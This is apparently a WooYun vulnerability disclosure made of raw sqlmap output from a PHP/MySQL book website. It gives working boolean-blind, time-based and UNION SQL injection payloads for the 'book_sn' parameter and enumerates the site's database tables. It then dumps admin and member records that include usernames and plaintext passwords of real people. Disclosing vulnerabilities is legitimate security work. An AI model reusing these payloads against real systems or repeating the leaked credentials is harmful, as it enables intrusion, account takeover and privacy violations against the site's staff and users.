WooYun.org

sqlmap identified the following injection point(s) with a total of 45 HTTP(s) requests:
---
Parameter: book_sn (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: book_sn=1115 AND 7198=7198
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: book_sn=1115 AND (SELECT * FROM (SELECT(SLEEP(5)))ocKY)
    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: book_sn=-9681 UNION ALL SELECT CONCAT(0x716b717171,0x6f43666d4b57734b6743,0x7171627171)-- 
---
web application technology: PHP 5.3.29
back-end DBMS: MySQL 5.0.12
current database:    'andbooks_db'
current user is DBA:    False
available databases [2]:
[*] andbooks_db
[*] information_schema

Database: andbooks_db
+-------------------------+---------+
| Table                   | Entries |
+-------------------------+---------+
| contactemail            | 7163    |
| keyword_book            | 4942    |
| book_img                | 4712    |
| admin_login_log         | 3277    |
| book_source_link        | 2997    |
| keyword_list            | 2371    |
| book                    | 1313    |
| admin_login_action      | 1081    |
| book_preview            | 591     |
| book_prize_link         | 529     |
| contact                 | 417     |
| lovebooks_newsletter_ch | 385     |
| orderlist               | 282     |
| newsletter_ch           | 234     |
| member                  | 233     |
| book_relate             | 168     |
| live                    | 90      |
| booknews                | 81      |
| book_source_link_ebook  | 66      |
| newsletter              | 55      |
| lovebooks_newsletter    | 40      |
| publisher_active_link   | 30      |
| contactemail_type       | 23      |
| book_type2              | 21      |
| index_banner            | 15      |
| publisher               | 13      |
| book_prize              | 12      |
| admin                   | 10      |
| book_type1              | 10      |
| orderlist_source        | 6       |
| predict                 | 5       |
| list_booktype_a         | 4       |
| list_booktype_b         | 4       |
| publisher_active        | 4       |
| book_source             | 3       |
| book_source_ebook       | 3       |
| contactus               | 3       |
| lovebooks_code          | 3       |
| mailserver_set          | 3       |
| news                    | 3       |
| aboutus                 | 2       |
| download                | 2       |
| advertisement           | 1       |
| list_contact            | 1       |
| papershowed             | 1       |
+-------------------------+---------+

Table: admin
[3 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| name     | non-numeric |
| password | non-numeric |
| username | non-numeric |
+----------+-------------+
管理员表：
Database: andbooks_db
Table: admin
[10 entries]
+---------------------------------+-------------------+---------------+
| name                            | username          | password      |
+---------------------------------+-------------------+---------------+
| Administrator                   | _#@nd_books_      | @ddirfook#_   |
| 其彬                              | chipin1109        | dx88by4214    |
| 小夏                              | hsiayf            | littlehsiayf@ |

Table: member
[4 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| email    | non-numeric |
| name     | non-numeric |
| password | non-numeric |
| press    | numeric     |
+----------+-------------+
Database: andbooks_db
Table: member
[28 entries]
+---------------+-------+-----------------------------------+----------------+
| name          | press | email                             | password       |
+---------------+-------+-----------------------------------+----------------+
|  陳銓龍          | 0     | topgun531129@**.**.**.**            | sasha0320      |
| adrian ng     | 0     | adrian5man@**.**.**.**              | enzoenzo       |
| Amandar       | 0     | zhaom04@**.**.**.**                   | lilisk57588211 |